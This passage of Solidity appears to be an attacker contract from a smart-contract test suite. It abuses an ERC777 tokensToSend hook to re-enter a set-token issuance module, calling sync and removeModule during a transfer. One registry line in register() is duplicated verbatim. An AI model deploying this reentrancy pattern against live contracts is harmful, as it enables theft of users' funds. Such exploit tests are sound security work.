    function register() public {
        _ERC1820_REGISTRY.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, address(this));
        _ERC1820_REGISTRY.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, address(this));
    }

    function attack(uint256 _amount) external {
        cToken.approve(address(issueModule), uint256(-1));
        wfCash.approve(address(issueModule), uint256(-1));
        issueModule.issue(setToken, _amount, address(this));
    }

    function tokensToSend(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external {
        compoundModule.sync(setToken, false);
        manager.removeModule(address(setToken));
    }
